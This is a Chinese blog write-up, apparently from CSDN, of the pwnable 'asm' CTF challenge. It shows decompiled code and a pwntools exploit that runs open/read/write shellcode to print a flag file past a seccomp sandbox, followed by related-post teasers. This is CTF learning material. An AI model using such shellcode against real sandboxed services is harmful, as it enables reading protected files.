BUUCTF-PWN-pwnable_asm-Sandbox

[BUUCTF]PWN——mrctf2020_shellcode_revenge(可见字符shellcode) mrctf2020_shellcode_revenge 例行检查,64位程序,开启了RELRO和PIE 本地运行看一下大概的情况 64位ida载入,没法f5,直接看汇编 jg大于则跳转,jl小于则跳转,jump无条件跳转 要让程序继续执行下去,肯定是跳转loc_11AC loc_123A loc_11B8 cdqe使用eax的最高位拓展rax高32位的所有位 movzx则是按无符号数传送+扩展(16-32) EAX是32位的寄存器,而AX是EAX的低16位,AH是ax的高8位,而AL是ax的低 阅读详情

1.checksec+运行

2.IDA常规

1.main函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
  size_t v3; // rdx
  char *s; // [rsp+18h] [rbp-8h]

  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  puts("Welcome to shellcoding practice challenge.");
  puts("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.");
  puts("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.");
  puts("If this does not challenge you. you should play 'asg' challenge :)");
  s = (char *)mmap((void *)0x41414000, 0x1000uLL, 7, 50, 0, 0LL);
  memset(s, 144, 0x1000uLL);
  v3 = strlen(stub);
  memcpy(s, stub, v3);
  printf("give me your x64 shellcode: ");
  read(0, s + 46, 0x3E8uLL);
  alarm(0xAu);
  chroot("/home/asm_pwn");
  sandbox("/home/asm_pwn");
  ((void (__fastcall *)(const char *))s)("/home/asm_pwn");
  return 0;
}

检查允许的系统调用 

 orw是允许的,用open()打开flag文件,通过read()和write()读取并输出

3.EXP

from pwn import *
context(os="linux", arch="amd64")
p = process("./asm")


ad = 0x41414000+0x100
code = shellcraft.open("./flag")
code += shellcraft.read(3, ad, 0x50)
code += shellcraft.write(1, ad, 0x50)
code = asm(code)

p.send(code)
p.interactive()

SIMPLIS仿真软件2.2-SIMPLIS快速入门2 SIMPLIS仿真软件2.2-SIMPLIS快速入门2导读 导读 本文承接上一篇文章。开始介绍SIMPLIS仿真部分。正如上一篇所讲的快速入门的定位,该文对SIMPLIS的三种分析模式不会很深入的讲解,只会记录下一些重要的设置和操作。对于SIMPLIS的三种分析模式的详细讲解,后面会专门撰写。如果读者还没有搭建上一篇文章中讲述的电路,那你可以点击这个链接免费下载所需的电路SIMPLIS_tutorial_buck_converter ,然后在这个电路的基础上继续进行以下操作。 ... 阅读详情

相关推荐

基于睿抗智能小车省赛第一题兵人识别的学习5.25

先用pip uninstall numpy卸载,再在后面输入pip install numpy==1.23安装版本为1.23的numpy。首先安装Anaconda环境;pycharm方便使用,安装yolov5以及一大堆数据包;由于python中的numpy插件包版本过高,训练失败,所以要安装一个版本低的包。每次运行都要先运行虚拟环境,输入:conda activate。图中所有精度大概在0.768-0.99之间。这里指定安装numpy1.23.。训练完成会得到一个衡量精度的指标。等待99张图片训练完成。

Haili_的博客 1299

pwn——沙箱机制

pwn沙箱

djhtdjdywgjc的博客 2591

Win10蓝屏代码critical process died的解决方法

critical process died”蓝屏错误是Win10操作系统中较为常见的问题之一。当遇到这一问题时,可以尝试通过修复当前系统、检查硬盘槽位或重新安装系统等方法来解决。本文详细介绍了这三种方法的操作步骤和注意事项,希望能帮助大家摆脱这一困扰。同时,也建议大家在日常使用中注意系统的维护和更新,以减少类似问题的发生。

mmoo_python的博客 9533

祥云杯2022 pwn - sandboxheap

上了sandbox,需要逆一下,在0x2710这里的功能就是允许mport和orw,所以在上面第一次exp的基础上还要再加上一个。下面的exp是笔者第一次直接打sandboxheap的,可以实现orw,然后第二个exp是打题目的,因为题目上了sandbox。这里笔者没有使用SigreturnFrame,直接看的setcontext + 53的汇编然后自己写了一下布局。其实就是一个2.27下的orw,直接拿板子套,直接参考的这位。在上一个heap基础上加了一个沙箱。的2.27下的orw。

z1r0的博客 582

计算机图形学入门30:动画与模拟介绍

计算机图形学入门,动画与模拟,物理模拟,质点弹簧系统,运动学,粒子系统,动作捕捉。

YanisWu的博客 1485

Vue项目实战:用DataV的dv-scroll-board打造高颜值滚动表格(附完整代码)

本文详细介绍了如何在Vue项目中使用DataV的dv-scroll-board组件打造高颜值滚动表格。从基础集成到高级配置,包括动态数据处理、深度样式定制、性能优化策略以及交互增强方案,帮助开发者快速实现企业级数据展示需求。特别针对样式优化和滚动表格的常见问题提供了实用解决方案。

weixin_30892037的博客 499

PWN-Sandbox 介绍

利用内核漏洞如果操作系统内核存在漏洞,攻击者可能利用这些漏洞突破 Sandbox 的限制。例如,在某些情况下,内核中的权限检查代码可能存在逻辑错误,攻击者可以通过精心构造的输入触发该漏洞,从而提升在 Sandbox 中的权限,使其能够访问更多系统资源或者执行被禁止的操作。资源耗尽攻击针对 Sandbox 对资源的限制,攻击者可能尝试进行资源耗尽攻击。

m0_57836225的博客 1191

【Unity实战篇 】| Unity实现 文本框可以自适应大小,到达最大宽度之后再缩小字体

Unity实现 Text文本框可以自适应大小,到达最大宽度之后再缩小字体 需求:在文本框可以自适应大小拉伸的前提下,增加一个最大限制宽度,使其到达最大宽度后 再启用 Best Fit 实现自适应改变文字大小以适应文本框的大小。 在Unity中经常会用到文本组件的自适应大小功能,一般使用HorizontalLayoutGroup和ContentSizeFitter组件配合即可实现文本自适应的效果。

努力前行,总会成为自己心中的那道光 3万+

BUUCTF Pwn pwnable_asm

64位ELF 开启了沙箱,允许使用open()、read()、write()三个函数。  主要逻辑基本都在main函数当中,首先用函数映射出一块内存空间,起始地址为,大小为。  flag文件位于相同根目录下,可以利用这一函数试探文件名既具体位置。 核心思想是利用首先利用函数打开flag,然后利用函数将flag读入刚才映射好的内存空间中,最后利用函数写flag到屏幕上即可。根据刚才的分析,可以编写如下的 0x03 运行exp 本地调试好之后,远程连接靶场,运行flag{7be081e2-506e-423

ChaoYue_miku的博客 737

MacBook M芯片第二篇:Homebrew安装

Homebrew是MacOS/Linux平台的软件包管理工具,提供便捷的安装、卸载、更新等功能。

码农魏轩 893

10.2 全栈 CRUD 工程结构搭建:Cursor 4 步初始化 + 3 层目录规范

揭示 Cursor 工程初始化中 4 个关键动作如何将 AI 上下文感知能力从 30% 提升至 85%,包括用 pnpm create 显式声明结构契约、通过 monorepo.config.json 设定 workspace 根以支持跨包类型引用、在 shared 包中固化共享类型与协议,以及后续

weixin_42545292的博客 67

pwn学习笔记(8)--初识Pwn沙箱

​ 沙箱机制,英文sandbox,是计算机领域的虚拟技术,常见于安全方向。一般说来,我们会将不受信任的软件放在沙箱中运行,一旦该软件有恶意行为,则禁止该程序的进一步运行,不会对真实系统造成任何危害。​ 安全计算模式seccomp(Secure Computing Mode)在Linux2.6.10之后引入到kernel的特性,可用其实现一个沙箱环境。使用seccomp模式可以定义系统调用白名单和黑名单。seccomp机制用于限制应用程序可以使用的系统调用,增加系统的安全性。​ 在ctf中主要通过两种方

qq_66013948的博客 1963

数字IC/FPGA 秋招知识点不全面整理

数字IC/FPGA 秋招知识点不全面整理

w0shishabi的博客 7866

pwn -- 沙盒机制详解

沙盒机制详解概述开启沙盒的两种方式prctl函数调用seccomp库函数使用seccomp-tools识别沙盒两道例题pwnable_asm参考博客总结 概述   沙盒机制也就是我们常说的沙箱,英文名sandbox,是计算机领域的虚拟技术,常见于安全方向。一般说来,我们会将不受信任的软件放在沙箱中运行,一旦该软件有恶意行为,则禁止该程序的进一步运行,不会对真实系统造成任何危害。   在ctf比赛中,pwn题中的沙盒一般都会限制execve的系统调用,这样一来one_gadget和system调用都不好使,只

lifanxin的博客 7123

VC中sqlite的使用

在VC中对sqlite的使用,实现数据库大批数据的快速插入,读取数据库中的数据在ListCtrl中显示

ssm框架搭建

这个是一个在idea上成功跑起来的ssm框架项目,保存在这里方便以后使用直接下载

PWN -特殊情况下 Sandbox 的 Bypass

Sandbox 虽然是一种强大的安全机制,但在某些特殊情况下,仍然可能被攻击者绕过其限制。这通常需要攻击者利用系统或 Sandbox 自身的漏洞、配置错误或者设计缺陷等。理解这些特殊情况对于全面评估系统安全以及进行有效的安全防御至关重要。

m0_57836225的博客 802

Data-Structures-and-Algorithm-Analysis-in-Java.pdf

作者: Weiss, Mark A. 出版社: Addison Wesley Data Structures and Algorithm Analysis in Java is an “advanced algorithms” book that fits between traditional CS2 and Algorithms Analysis courses. In the old ACM Curriculum Guidelines, this course was known as CS7. This text is for readers who want to learn good programming and algorithm analysis skills simultaneously so that they can develop such programs with the maximum amo...

pwnable_asm

pwnable_asm 查看保护 orw来读flag就可以了,程序在0x41414000这里创建了0x1000大小的空间,我们可以将flag拿到这里然后 输出即可。 orw其实就是open read write open(file=‘flag’, oflag=0, mode=0); read(3, 0x41414000, 0x100) write(fd=1, buf=0x41414000, n=0x100) 意思就是打开flag,读取flag到0x41414000,从0x41414000中读取数据到屏幕

z1r0的博客 429

TMS_WebGMaps_1.9.8.0_Full_Source

TMS_WebGMaps_1.9.8.0_Full_Source 全源码 delphi cbuilder

DEFCON CTF Finals 2023 - pwn-sandbox: 内核沙箱逃逸与UAF漏洞深度剖析

内核堆风水布局:通过eBPF程序实现精确堆喷跨态攻击链设计:用户态到内核态的上下文切换控制现代缓解绕过:结合KGDB调试实现KASLR实时解析。

Alfadi联盟 萧瑶的博客 1311

pwnablekr-asm-seccomp-sandbox

文章目录1. 基本信息反汇编流程梳理2. 相关知识seccomp3. exp4. 源码5. 参考文章 1. 基本信息 file: $ file asm asm: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=d7401f94b1d6bf6a5afe4b

Starr 1902

pwnable-asm

pwnable.kr是一个经典的CTF中PWN方向练习的专业网站,本文记录的题目是asm,主要考察的是shellcode的使用。

网安星空 1818

pwn题中 setbuf的用处

在我们遇到的每一个需要输入输出的pwn题中一般都会有下面这几条语句 setvbuf(stdin, 0LL, 2, 0LL); setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stderr, 0LL, 2, 0LL); 直到今天才彻底搞明白这三句话的作用。 因为我们搭建pwn题一般都是用socat进行端口转发,pwn题搭建详情 但是socat不是一次写一行而...

Maxmalloc的博客 3423

[BUUCTF]PWN——ciscn_2019_s_9(汇编代码写shellcode)

ciscn_2019_s_9 附件 步骤 例行检查,32位程序,没用开启任何保护 本地试运行看一下程序大概的情况 32位ida载入,第10行的fgets,能够溢出0x32-0x20-0x4个字节 由于没用nx保护,首先想到的就是往s里写入shellcode,然后跳转到s执行shellcode,s在栈上,ida里有一个函数,为我们提供了跳转到栈上的指令jmp esp 现在就一个问题,s大小只有0x20,用下面的shellcode不懂能不能完全写入 context(log_level = 'debu

mcmuyanga的博客 2166

[BUUCTF]PWN——mrctf2020_shellcode

mrctf2020_shellcode 附件 步骤: 例行检查,64位程序,开启了relro和pie,没有nx,肯定是用shellcode最方便了 本地试运行一下,看看大概的情况 64位ida载入,根据运行时看到的字符串,迅速定位到关键程序,但是没法f5成伪代码,直接看汇编 栈大小是0x410,读入了0x400,无法造成溢出覆盖返回地址 不过好像这边分析了用处也不大,直接利用pwntools生成shellcode发送即可 shellcode=asm(shellcraft.sh()) exp fr

mcmuyanga的博客 1942

pwnable.k asm 知识点总结

1.mmap 创建新的内存虚拟区域 void *mmap(void *start, size_t length, int prot, int flags, int fd, off_t offset); start: 新的虚拟内存区域最好是从start 开始的一个区域 length: 连续的对象片的大小为length 字节 offset:从据文件开始处偏移量为offset字节的地方开始 prot:...

qq_43189757的博客 435

BUUCTF pwnable_orw WP

限制系统调用&&shellcode 1,文件分析 checksec Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments 有canary保护,但是又有存在RWX权限的段,可以考虑写入shellcod

weixin_44645415的博客 594

BUUCTF [极客大挑战 2019]Not Bad

我们直接open根目录下的flag,然后把flag的内容读入到mmap中,再用write打印处mmap的值,这里解释一下为什么fd为3,因为我们是打开文件进行读入,0,1,2分别是标准输出,标准输入,标准错误,所以3之后才是打开文件的顺序,所以我们写上3.以下是完整的exp。在main看到这两个比较有用的函数,第一个函数一眼看过去就发现是有沙箱保护的,第二个函数就是正常的栈溢出函数,我们先看看程序开了什么保护。也是第一次做到沙箱的题,也熟练了一点orw的攻击方式。拿到题目放入ida,看看有什么函数。

2401_85052854的博客 609

CTF-PWN-沙箱逃脱-【seccomp和prtcl-2】

ret的gadget的地址。直到通过该得到的栈地址-231*8可得到数组的起始地址,然后输入open的第一个参数在此位置即./flag,注意此时由于函数此时是整数输入,输入的字节会逆序排放到内存中,而调用open时是字符串参数,会从低地址到高地址一个一个转换,所以此时我们需要逆序输入./flag的字节即按galf/.字节输入。接下来就构造ROP链即可,首先是open(数组的初始地址,0,2) rax=2,此时构造的rdx不会对函数有影响,只是使得第二个参数和rax的值一样得以成功调用系统调用。

llovewuzhengzi的博客 2123
上一篇: BUUCTF-PWN-ACTF_2019_message
下一篇: PWN-fastbin attack
Rt1Text
博客等级 码龄5年 14粉丝 53原创
评论 2
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值